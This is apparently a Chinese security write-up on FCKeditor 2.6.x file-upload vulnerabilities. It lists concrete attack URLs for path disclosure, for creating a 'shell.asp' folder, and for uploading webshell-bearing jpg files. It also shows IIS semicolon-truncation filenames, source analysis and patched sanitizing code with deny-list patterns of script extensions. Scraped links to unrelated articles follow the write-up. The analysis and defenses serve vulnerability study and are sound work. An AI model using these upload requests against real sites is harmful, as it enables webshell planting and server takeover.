Fckeditor PHP/ASP File Upload Vul
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行,互联网上很容易找到相关技术文档,国内许多WEB项目和大型网站均采用了FCKeditor
它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合
FCK中一个很重要的文件上传的功能,常常被黑客用来进行GETSHELL攻击,根本原因是因为角色权限控制不严、以及文件扩展名限制逻辑存在BYPASS缺陷
Relevant Link:
http://sebug.net/vuldb/ssvid-20830
2. 漏洞触发条件
0x1: 信息搜集
首先收集FCK的版本信息
http://localhost/fckeditor/editor/dialog/fck_about.html
/*
version
2.6.8
Build 25427
*/
0x2: 获取上传点路径
爆物理路径
http://172.31.200.74/editor/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp . 爆路径漏洞
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp . 列目录漏洞也可助找上传地址
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F . 其他上传地址
http://192.168.174.138/fckeditor/_samples/default.html
http://192.168.174.138/fckeditor/_samples/asp/sample01.asp
http://192.168.174.138/fckeditor/_samples/asp/sample02.asp
http://192.168.174.138/fckeditor/_samples/asp/sample03.asp
http://192.168.174.138/fckeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页
http://192.168.174.138/fckeditor/editor/fckeditor.html . 常用上传地址
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php . FCKeditor 中test 文件的上传地址
http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/test.html
http://192.168.174.138/fckeditor/editor/filemanager/upload/test.html
http://192.168.174.138/fckeditor/editor/filemanager/connectors/test.html
http://192.168.174.138/fckeditor/editor/filemanager/connectors/uploadtest.html
最终获得的上传点如下
http://localhost/fckeditor/editor/filemanager/connectors/test.html
http://localhost/fckeditor/editor/filemanager/connectors/uploadtest.html
0x3: 建立新文件夹
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
//在images文件夹下建立文件夹
0x4: IIS解析漏洞
如果你的文件处在一个xx.asp文件夹下,那这个文件夹下的所有文件都会被当作.asp脚本来执行,这是利用了IIS的xx.asp文件夹解析漏洞
. 建立一个文件夹/z/shell.asp
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
http://localhost/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp . 上传一个内容为WEBSHELL的xx.jpg文件
http://localhost/userfiles/image/shell.asp/z/choop.jpg
http://localhost/userfiles/image/shell.asp/z/choop.jpg
//这个xx.jpg会被当作webshell解析
0x5: FCK扩展名过滤防御解析漏洞
正常情况下,fck对上传的文件后缀扩展名是有防御逻辑的(即禁止上传脚本文件)
. 上传文件名: shell.php;.jpg
文件会被重命名为: shell_php.jpg . 如果上传文件名:
) a.php;a_jpg
) a.asp;a_jpg
则文件不会被重命名 . 又因为IIS存在一个解析漏洞,分号";"后面的字符串会被IIS截断,导致黑客上传的文件对IIS来说就是
a.php
a.asp
从而得到执行
Relevant Link:
http://hi.baidu.com/holyli/item/f2d37959513ed509e6c4a597
3. 漏洞影响范围
2.6.xx
4. 漏洞代码分析
FCKEditor上传检测,是通过黑色单/白名单的方式检测允许和不允许上传的文件类型,具体的实现逻辑位于
. asp: \editor\filemanager\connectors\asp\io.asp
. php: \editor\filemanager\connectors\php\io.php
//在另一个browser目录中也存在同样目录结构的一套文件
. asp: \editor\filemanager\browser\default\connectors\asp\io.asp
. php: \editor\filemanager\browser\default\connectors\php\io.php
0x1: ASP
\fckeditor\editor\filemanager\connectors\asp\class_upload.asp
Private Function IsAllowed(sExt)
Dim oRE
Set oRE = New RegExp
oRE.IgnoreCase = True
oRE.Global = True If sDenied = "" Then
oRE.Pattern = sAllowed
IsAllowed = (sAllowed = "") Or oRE.Test(sExt)
Else
oRE.Pattern = sDenied
IsAllowed = Not oRE.Test(sExt)
End If Set oRE = Nothing
End Function
\fckeditor\editor\filemanager\connectors\asp\io.asp
Function IsAllowedExt( extension, resourceType )
Dim oRE
Set oRE = New RegExp
oRE.IgnoreCase = True
oRE.Global = True Dim sAllowed, sDenied
sAllowed = ConfigAllowedExtensions.Item( resourceType )
sDenied = ConfigDeniedExtensions.Item( resourceType ) IsAllowedExt = True If sDenied <> "" Then
oRE.Pattern = sDenied
IsAllowedExt = Not oRE.Test( extension )
End If If IsAllowedExt And sAllowed <> "" Then
oRE.Pattern = sAllowed
IsAllowedExt = oRE.Test( extension )
End If Set oRE = Nothing
End Function
待检测的extension是来自FCK的配置文件:config.asp
\fckeditor\editor\filemanager\connectors\asp\config.asp
ConfigAllowedExtensions.Add "File", "7z|aiff|asf|avi|bmp|csv|doc|fla|flv|gif|gz|gzip|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|ods|odt|pdf|png|ppt|pxd|qt|ram|rar|rm|rmi|rmvb|rtf|sdc|sitd|swf|sxc|sxw|tar|tgz|tif|tiff|txt|vsd|wav|wma|wmv|xls|xml|zip" ConfigAllowedExtensions.Add "Image", "bmp|gif|jpeg|jpg|png" ConfigAllowedExtensions.Add "Flash", "swf|flv" ConfigAllowedExtensions.Add "Media", "aiff|asf|avi|bmp|fla|flv|gif|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|png|qt|ram|rm|rmi|rmvb|swf|tif|tiff|wav|wma|wmv"
这只是提供给FCK的正则判断逻辑,真正的重命名机制在这里
\fckeditor\editor\filemanager\connectors\asp\io.asp
' Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( sNewFileName )
Dim oRegex
Set oRegex = New RegExp
oRegex.Global = True if ( ConfigForceSingleExtension = True ) then
/*
这就是重命名文件名的关键逻辑了
从第一个遇到"."号开始搜索,并把后面的内容当作捕获分组,捕获分组的过滤条件是不会再在后面遇到一个"."号 了,并设置一个断言,断言的内容为捕获分组的内容不可能发生,即如果还在后面遇到了一个"."号,则这个正则判断成立,即搜索到第一次遇到的"."号。然后进行replace操作,把"."号替换成"_"
1. 如果我们的文件名是: asp.asp;asp.jpg,自然会被正则捕获到,第一个"."号就被替换成了"_"
2. 如果我们的文件名是: asp.asp;jpg,这种文件名也能通过文件后缀判断逻辑,即bypass
*/
oRegex.Pattern = "\.(?![^.]*$)"
sNewFileName = oRegex.Replace( sNewFileName, "_" )
end if ' remove \ / | : ? * " < > and control characters
oRegex.Pattern = "(\\|\/|\||:|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"
SanitizeFileName = oRegex.Replace( sNewFileName, "_" ) Set oRegex = Nothing
end function
5. 防御方法
1. ASP
0x1: 删除fckeditor下含test的html文件
. \editor\filemanager\connectors\test.html
0x2: 在代码层防御IIS解析漏洞(分号截断)
\editor\filemanager\connectors\asp\io.asp
' Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( sNewFileName )
Dim oRegex
Dim oRegexSecurityExt
Set oRegex = New RegExp
Set oRegexSecurityExt = New RegExp
oRegex.Global = True
oRegexSecurityExt.Global = True if ( ConfigForceSingleExtension = True ) then
oRegex.Pattern = "\.(?![^.]*$)"
SanitizeFileName = oRegex.Replace( sNewFileName, "_" ) oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)"
SanitizeFileName = oRegexSecurityExt.Replace( sNewFileName, "_" )
end if ' remove \ / | : ? * " < > and control characters
oRegex.Pattern = "(\\|\/|\||:|\;|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"
SanitizeFileName = oRegex.Replace( sNewFileName, "_" ) Set oRegex = Nothing
end function
0x3: 在代码层防御IIS解析漏洞(创建xx.asp目录)
如果黑客通过FCK的目录创建接口创建了一个xx.asp目录,IIS将此目录下的的任意文件都当作asp脚本进行解析,攻击者可以向这个目录下上传包含WEBSHELL的jpg文件
' Do a cleanup of the folder name to avoid possible problems
function SanitizeFolderName( sNewFolderName )
Dim oRegex
Dim oRegexSecurityExt
Set oRegex = New RegExp
Set oRegexSecurityExt = New RegExp
oRegex.Global = True
oRegexSecurityExt.Global = True 'remove . \ / | : ? * " < > and control characters
oRegex.Pattern = "(\.|\\|\/|\||:|\?|\;|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"
SanitizeFolderName = oRegex.Replace( sNewFolderName, "_" ) 'forbidden the dangerous ext
oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$"
SanitizeFolderName = oRegexSecurityExt.Replace( sNewFolderName, "_" ) Set oRegex = Nothing
end function
0x4: 扩展名上传限制正则绕过漏洞
和0x2: 在代码层防御IIS解析漏洞(分号截断)相同,同时还可以通过强化正则规则,在扩展名的头尾加上"起始"、"结束"定界符来规避攻击者的畸形后缀bypass
Function IsAllowedType( resourceType )
Dim oRE
Set oRE = New RegExp
oRE.IgnoreCase = False
oRE.Global = True
oRE.Pattern = "^(" & ConfigAllowedTypes & ")$" IsAllowedType = oRE.Test( resourceType ) Set oRE = Nothing
End Function Function IsAllowedCommand( sCommand )
Dim oRE
Set oRE = New RegExp
oRE.IgnoreCase = True
oRE.Global = True
oRE.Pattern = "^(" & ConfigAllowedCommands & ")$" IsAllowedCommand = oRE.Test( sCommand ) Set oRE = Nothing
End Function
Relevant Link:
http://www.chinaz.com/news/2012/1205/284700.shtml
http://www.sdlunzhong.cn/itres/showitnews.aspx?id=807
2. PHP
存在IIS+FastCGI即同时存在ASP、PHP的运行环境
/editor/filemanager/connectors/php/io.php
// Do a cleanup of the folder name to avoid possible problems
function SanitizeFolderName( $sNewFolderName )
{
$sNewFolderName = stripslashes( $sNewFolderName ) ; // Remove . \ / | : ; . ? * " < >
$sNewFolderName = preg_replace( '/\\.|\\\\|\\;|\\/|\\||\\:|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFolderName ) ; $sNewFolderName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$/i', '_', $sNewFolderName ) ; return $sNewFolderName ;
} // Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
global $Config ; $sNewFileName = stripslashes( $sNewFileName ) ; // Replace dots in the name with underscores (only one dot can be there... security issue).
if ( $Config['ForceSingleExtension'] )
$sNewFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sNewFileName ) ; // Remove \ / | : ? * " < >
$sNewFileName = preg_replace( '/\\\\|\\/|\\||\\:|\\;|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFileName ) ; $sNewFileName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)/i', '_', $sNewFileName ) ; return $sNewFileName ;
}
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Fckeditor PHP/ASP File Upload Vul的更多相关文章
- FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://www.wooyun.org ...
- File upload in ASP.NET Core web API
参考1:File upload in ASP.NET Core web API https://www.janaks.com.np/file-upload-asp-net-core-web-api/ ...
- jquery file upload + asp.net 异步多文件上传
百度了很久,国内一直 找不到 使用jquery file upload 插件 +asp.net 的相关代码 一开始使用 jquery uploadify ,一款基于 flash的插件,但是不支持 Sa ...
- 上传文件 file upload 学习笔记
这里我只会说说一些完成 file upload 的基础 API. 很多项目我们需要上传文件. 有简单的 input file, 有需要验证的,有需要压缩的(img),有需要分段的(video),有需要 ...
- JQuery File Upload 插件 出现 “empty file upload result” 错误的解决方案。
本例中采用的是 JQuery File Upload + ASP.NET 的方式, Google了大半天基本没有找到合理的解决方案,倒是在 NodeJS的一遍博客中找到了灵感:http://www.i ...
- RFC1867 HTTP file upload
RFC1867 HTTP file upload RFC1867 is the standard definition of that "Browse..." button tha ...
- Pikachu-File Inclusion, Unsafe file download & Unsafe file upload
Pikachu-File Inclusion, Unsafe file download & Unsafe file upload 文件包含漏洞 File Inclusion(文件包含漏洞)概 ...
- jQuery File Upload 单页面多实例的实现
jQuery File Upload 的 GitHub 地址:https://github.com/blueimp/jQuery-File-Upload 插件描述:jQuery File Upload ...
- jQuery File Upload done函数没有返回
最近在使用jQuery File Upload 上传图片时发现一个问题,发现done函数没有callback,经过一番折腾,找到问题原因,是由于dataType: ‘json’造成的,改为autoUp ...
随机推荐
- Python之线程、进程和协程
python之线程.进程和协程 目录: 引言 一.线程 1.1 普通的多线程 1.2 自定义线程类 1.3 线程锁 1.3.1 未使用锁 1.3.2 普通锁Lock和RLock 1.3.3 信号量(S ...
- 扩展欧几里得算法(extgcd)
相信大家对欧几里得算法,即辗转相除法不陌生吧. 代码如下: int gcd(int a, int b){ return !b ? gcd(b, a % b) : a; } 而扩展欧几里得算法,顾名思义 ...
- lecture9-提高模型泛化能力的方法
HInton第9课,这节课没有放论文进去.....如有不对之处还望指正.话说hinton的课果然信息量够大.推荐认真看PRML<Pattern Recognition and Machine L ...
- LINQ的高级应用
---恢复内容开始--- 本文不想罗列linq的通俗使用方法.因为很多博文都已经写得很详细了. 此处直接贴出源码,如果有需要的朋友可以参考,希望更多的朋友能够补充更多的linq的高级应用. 源码如下: ...
- 整合Apache与PHP教程
Apache下载安装完成后,PHP下载解压后,最重要的是如何将他们连接起来,就是整合到一起,让它们之间有联系,笔者根据自己多次配的经验和帮学弟学妹配时他们的理解程度整理了一个比较详细易理解的版本,下面 ...
- 一款炫酷的幻灯片播放框架介绍(附demo及使用方法)
废话不多说,先上demo(建议在chrome下打开 F键全屏 esc退出全屏): 我的demo-博客园简介 官网demo 更多demo 今天为大家介绍一款基于css3和JavaScript的幻灯片播放 ...
- 用Dart&Henson玩转Activity跳转
用Dart&Henson玩转Activity跳转 Extra是Android标准的组件之间(Activity/Fragment/Service等)传递数据的方式.本文介绍了开源项目Dart的使 ...
- JAVA_集合框架虐我千百遍,虐也是一种进步
1.Collection和Collections区别: Collection是java的一个集合接口,集合类的顶级接口 Collections是一个包装类(工具类),不能被实例化(由于其构造函数设为私 ...
- asp.net程序员初涉node.js
之前一直听说node.js在处理网站大规模并发上十分有用,所以有一定规模的公司都在使用node.我在工作中只用过jquery,属于那种边做功能边学习的那一种.甚至连原生的js都不太会写,只是知道语法差 ...
- php中的循环遍历 foreach list each
foreach语句遍历数组foreach语句用于循环遍历数组,每进行一次循环,当前数组元素的值就会被赋值给变量value(也可以是其它变量),数组指针会逐一的移动. 代码示例: foreach($ar ...